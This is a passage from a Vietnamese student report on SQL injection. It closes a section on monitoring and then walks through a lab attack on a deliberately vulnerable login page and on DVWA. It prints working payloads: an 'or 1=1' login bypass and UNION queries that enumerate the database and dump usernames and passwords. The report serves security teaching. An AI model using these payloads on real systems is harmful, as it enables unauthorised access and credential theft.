Thường xuyên giám sát các câu lệnh SQL, tiến hành kiểm thử định kì

Một phần của tài liệu CSATTT 13 lỗ hổng SQLi (Trang 33)

thử định kì

Bằng cách có giám sát thường xuyên các câu lệnh SQL, các cơ sở dữ liệu kết nối với ứng dụng bao gồm các tài khoản cơ sở dữ liệu, các thủ tục, … người quản trị có thể biết được những gì xảy ra trong hệ thống và có thể đưa ra giải pháp để có thể đảm bảo không có gì bất thường xảy ra. Các công cụ giám sát dựa trên machine learning hay phân tích hành vi như SIEM (Security Information and Event Management) hay PAM (Privvileged Access Management) là trợ thủ đắc lực để nâng cao bảo mật mạng

CHƯƠNG 3. THỰC NGHIỆM TẤN CÔNG SQL INJECTION 3.1 Mô tả môi trường thực nghiệm

Để thực nghiệm tấn công SQL INJECTION ta chuẩn bị 1 trang web mắc lỗ hổng sql và phần mềm DVWA cho phép ta thực hành và thử nghiệm tấn công với nhiều mức độ khác nhau.

Hình 1: Giao diện đăng nhập của website

Hình 1: Giao diện demo tấn công sql injection trên DVWA

3.2 Thực nghiệm tấn công

3.2.1 Mô tả kịch bản

- Để vượt qua đăng nhập của trang web ta chỉ cần chèn thêm 1 chuỗi 'or 1=1-- - vào trường input username hoặc password.

Phần 2: Sử dụng công cụ DVWA demo tấn công khai thác thông tin,dữ liệu từ CSDL mySQL.

-Ta lần lượt truyền các chuỗi vào dòng input User ID để thu các thông tin sau: - Để lấy phiên bản(version):

'union select 1,version()-- -

- Lấy user đăng nhập hiện tại:

'union select 1,user()-- - - Lấy tên cơ sở dữ liệu:

'union select 1,database()-- - - Lấy cổng truy cập mysql:

'union select 1,@@port-- - - Lấy tất cả CSDL có trong MySQL:

'UNION select table_schema,null from

information_schema.tables-- - - Lấy các bảng có trong CSDL ‘DVWA’:

'UNION select table_name,null from

information_schema.tables where

table_schema='dvwa'—

- Lấy tất cả các cột có trong bảng users:

'UNION select table_name,column_name from

information_schema.columns where

table_name='users'--

'UNION select user,password from users-- -

3.2.2 Các bước thực hiện

Phần 1: Sử dụng SQL injection tấn công vượt qua đăng nhập của trang web. Bước 1: Truy cập 1 trang web chuẩn bị sẵn chứa lỗi lỗ hổng SQL injection

Hình 1: Giao diện đăng nhập của website

Bước 2: Thử đăng nhập với 1 tài khoản và mật khẩu bất kì không thuộc CSDL của website.

Vd: username = loginweb Password = 123456

-Sau khi điền thông tin đăng nhập tiến hành click vào login ta thu được thông báo đăng nhập thất bại.Nguyên nhân do user và password ta nhập không chính xác.

Hình 2: Kết quả sau khi login với thông tin đăng nhập không chính xác

Bước 3: Tiến hành tấn công vượt đăng nhập với SQL injection

Việc truyền câu truy vấn” 'or 1=1-- - ” username hoặc password để làm câu truy vấn trở nên true (luôn đúng) sẽ giúp ta đăng nhập vào trang web 1 cách dễ dàng. Để hiểu rõ hơn ở đây mình đưa câu truy vẫn SQL mà phía trang web xử lí để đăng nhập.

Sql = SELECT `Username`, `Password` FROM `users` WHERE Username='$username' AND Password='$password';

=>SQL sau khi thêm chuỗi 'or 1=1-- - vào ô username khi đó biến $username sẽ nhận giá trị 'or 1=1-- - ta sẽ thu được câu truy vẫn thay đổi như sau:

Sql = SELECT `Username`, `Password` FROM `users` WHERE Username=''or 1=1-- - ' AND Password='$password';

Hình 3: Như vậy ta đã đăng nhập thành công vào hệ thống và đã vượt qua đăng nhập của trang web

Phần 2: Sử dụng công cụ DVWA demo tấn công khai thác thông tin,dữ liệu từ CSDL mySQL.

Bước 1: Truy cập DVWA và tiền hành đăng nhập và chọn SQL injection ta sẽ có được giao diện như sau:

Hình 1: Giao diện demo tấn công sql injection trên DVWA

Bước 2: Lần lượt truyền các chuỗi vào dòng input User ID để khai thác. Cụ thể: Để lấy phiên bản(version) của database ta chỉ việc đưa chuỗi sau vào ô Input của User ID:

'union select 1,version()-- -

Kết quả thu được:

Phiên bản database là : 10.4.17

Thực hiện tương tự với các khai thác sau: - Lấy user đăng nhập hiện tại:

- Lấy tên cơ sở dữ liệu:

'union select 1,database()-- -

'union select 1,@@port-- -

Sau khi thu được các thông tin trên ta tiến hành khai thác thông tin có trong CSDL có tên DVWA.

1.Lấy tất cả CSDL có trong MySQL:

'UNION select table_schema,null from information_schema.tables-- -

2.Lấy các bảng có trong CSDL ‘DVWA’:

'UNION select table_name,null from

information_schema.tables where table_schema='dvwa'-- -

3.Lấy tất cả các cột có trong bảng users:

'UNION select table_name,column_name from

information_schema.columns where table_name='users'-- -

4.Lấy tên tài khoản và mật khẩu của tất cả người dùng trong bảng users: 'UNION select user,password from users-- -

TÀI LIỆU THAM KHẢO

[1] Khaleel Ahmad ,Jayant Shekhar and K.P.Yadav, VSRD-TNTJ, Vol. I (4), 2010, 235-242, Classification of SQL Injection Attacks, https://www.researchgate.net/publication/316886377_A_study_on_SQL_injecti vulneraon_techniques

[2] OWASP, SQL Injection Prevension Cheat Sheet, https://cheatsheetseries.owasp.org/cheatsheets/SQL_Injection_Prevention_Cheat _Sheet.html

[3] OWASP, A03:2021-Injection, https://owasp.org/Top10/A03_2021- Injection/

[4] EC-Council CEH Program, CEHv10 Modules 15 SQL Injection.

[5] PortSwigger, SQL Injection, https://portswigger.net/web-security/sql- injection

[6] Paul Rubens, How to Prevent SQL Injection Attacks, March 11, 202,

[7] Offensive Security, Advanced Web Attacks And Exploitation, July-August 2016, Black Hat USA

Một phần của tài liệu CSATTT 13 lỗ hổng SQLi (Trang 33)

Tải bản đầy đủ (DOCX)

(44 trang)
w